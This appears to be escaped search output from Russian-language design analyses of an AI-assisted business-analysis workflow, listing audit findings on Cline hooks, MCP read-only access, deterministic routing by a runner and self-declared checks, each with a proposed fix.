\u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Camunda; Java \u0438 BPMN \u0443 Operaton | [\u0413-53](#\u0433-53) |\\n== n8n reasons\\n66:\u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432 n8n \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\\n67:\u0440\u044f\u0434\u043e\u043c \u0441 Source; \u0443\u0437\u0435\u043b AI Agent \u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442, \u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c, \u2014 \u0442\u0430\\n119:   \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u044b.\\n121:   \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c\\n207:\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n== MCP/secrets\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:220:| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:264:| \u0413-38 | MCP-\u0441\u0435\u0440\u0432\u0435\u0440 runner \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c | \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f MCP: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u00abmodel-controlled\u00bb ([MCP 2025-11-25, tools](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)); \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. ADR-018 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 ([L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)), ADR-019 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 MCP \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a ([L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043a\u0430\u043a \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0432\u0445\u043e\u0434, \u043d\u043e runner \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:323:| 1.6 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source \u0434\u043b\u044f \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432; \u0432 Cline \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u0438 hook, \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 `runs/` \u043c\u0438\u043c\u043e runner | [\u0413-38](#\u0433-38)\u2026[\u0413-40](#\u0433-40) |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:378:| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP, skill \u0438\u043b\u0438 workflow \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (\u0412-2) | \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; hooks \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0442 | [\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39) |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:78:  \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Mango (MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, Jira, Confluence) \u2014 \u043a \u043d\u0438\u043c\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:156:### \u0412. \u0424\u0438\u0437\u0438\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b: Python, hooks, MCP, \u0440\u0435\u0436\u0438\u043c\u044b Cline\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:162:| \u0413-11 | \u0421\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 hook \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 Cline, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c | Hook \u0437\u043d\u0430\u0435\u0442 \u0438\u043c\u0435\u043d\u0430 Cline v3: `read_file`, `write_to_file`, `use_mcp_tool`\u2026 ([`cline_hook.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/cline_hook.py#L13-L17)). \u0421 v4.0 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f [`read_files`, `search_codebase`, `run_commands`, `editor`, `ask_question`\u2026](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/sdk/packages/core/src/extensions/tools/constants.ts#L12-L22), MCP \u2014 `\u0441\u0435\u0440\u0432\u0435\u0440__\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442`, \u0438 [PreToolUse \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/sdk/hooks-adapter.ts#L147-L174). \u041f\u0440\u043e\u0431\u0430 `P8b`: hook \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 `read_files`, `ask_question` \u0438 \u0434\u0430\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 `editor`. \u0422\u0430\u043c, \u0433\u0434\u0435 hooks \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f (Linux, macOS, \u0431\u0443\u0434\u0443\u0449\u0438\u0435 `.ps1` \u0438\u0437 B-200), Cline v4.1.21 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c \u0447\u0442\u0435\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u0430. \u0421\u043e\u0431\u044b\u0442\u0438\u0435 `TaskResume` v4 [\u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/sdk/hooks-adapter.ts#L1-L12). \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f [\u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/02-install.md#L42-L44) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** (B-200): \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043e\u0431\u0430 \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u043c\u0451\u043d \u0438\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Cline \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438. \u0411\u0435\u0437 \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u041e-3 \u0441\u043b\u043e\u043c\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443, \u0430 \u043d\u0435 \u0437\u0430\u0449\u0438\u0442\u0438\u0442 \u0435\u0451 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:163:| \u0413-12 | \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira/Confluence \u0447\u0435\u0440\u0435\u0437 MCP \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 | Hook \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 `use_mcp_tool` \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043c\u0435\u043d\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u2014 [`READ_TOOLS`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/cline_hook.py#L13-L16), \u043f\u0440\u043e\u0431\u0430 `P8`. \u00ab\u0422\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u2014 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0432 [`kb-policy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/kb-policy.md#L10-L17), \u0442\u043e \u0435\u0441\u0442\u044c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435: [MCP \u043d\u0435 \u0432 Auto-approve](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L204-L210) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c**: \u0432 hook \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435; \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u2014 \u044f\u0432\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u00ab\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0439\u0442\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0438\u0441\u043a \u0438 \u0447\u0442\u0435\u043d\u0438\u0435\u00bb. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u2014 **\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435** |\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\\n== self-declare\\n34:\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n39:\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b (\u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0438 \u0432\u044b\u0431\u043e\u0440 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n48:   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n55:   \u0441 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438), \u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c\\n176:| \u0413-19 | \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014 \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0431\u0438\u0437\u043d\u0435\u0441-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u043e\u0442\u0434\u0430\u0432\u0430\u0442\u044c | `release.json` \u2014 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430, 2053 \u0431\u0430\u0439\u0442\u0430; \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u0435 \u2014 `Terms`, `Business context`\u2026 (\u043f\u0440\u043e\u0431\u0430 `P6`; \u043f\u0440\u043e\u0444\u0438\u043b\u044c [`bcreq-client-v1.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/contracts/bcreq-client-v1.json#L8-L36)). \u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f [\u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u0442\u044c Cline \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0444\u0430\u0439\u043b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/06-working-with-cline.md#L242-L243) \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c**: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u043d\u0434\u0435\u0440 Release \u0432 Markdown (\u0438\u043b\u0438 DOCX) \u0441 \u0440\u0443\u0441\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438 \u0438\u0437 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043a\u0430\u043a \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0448\u0430\u0433. \u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 2 \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 |\\n208:| \u0427\u0442\u0435\u043d\u0438\u0435 Release \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | \u041c\u043e\u0434\u0435\u043b\u044c (\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437) | \u041d\u0435\u0442 | \u041d\u0438\u0447\u0435\u0433\u043e ([\u0413-19](#\u0433-19)) |\\n232:   \u043a\u0440\u043e\u043c\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u2014 \u043b\u0438\u0431\u043e JSON, \u043b\u0438\u0431\u043e \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u043c\u043e\u0434\u0435\u043b\u0438: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u043e\u0448\u0438\u0431\u043a\u0438,\\n254:   \u043d\u0435 \u0433\u0435\u0439\u0442, \u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u044f. \u0417\u0430\u0434\u0430\u0447\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n== CLI transitions\\n40:\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n135:| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n218:| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n== ADR-017\\n74:\u041f\u0440\u0438\u043d\u044f\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 `Source \u2192 Distribution \u2192 Runtime \u2192 Feedback \u2192 Source` \u0434\u043b\u044f\\n103:\u2502   \u2514\u2500\u2500 feedback/                  # inbox \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0438\u043c\u043f\u043e\u0440\u0442\u0435\\n110:\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u043c feedback. `experiments/` \u0445\u0440\u0430\u043d\u0438\u0442 \u043d\u0435\u0437\u0440\u0435\u043b\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438; \u0438\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\\n170:\u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438\u043b\u0438 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0435 feedback-\\n195:\u2514\u2500\u2500 feedback/\\n== forensics classes\\n20:\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n21:\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n128:| BCREQ-1104 | \u041f\u043e\u0441\u043b\u0435 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u043f\u0440\u0430\u0432\u043e\u043a \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0442\u044b\u0440\u0435 \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0431\u0435\u0437 \u043b\u0438\u0448\u043d\u0435\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. | Human correction 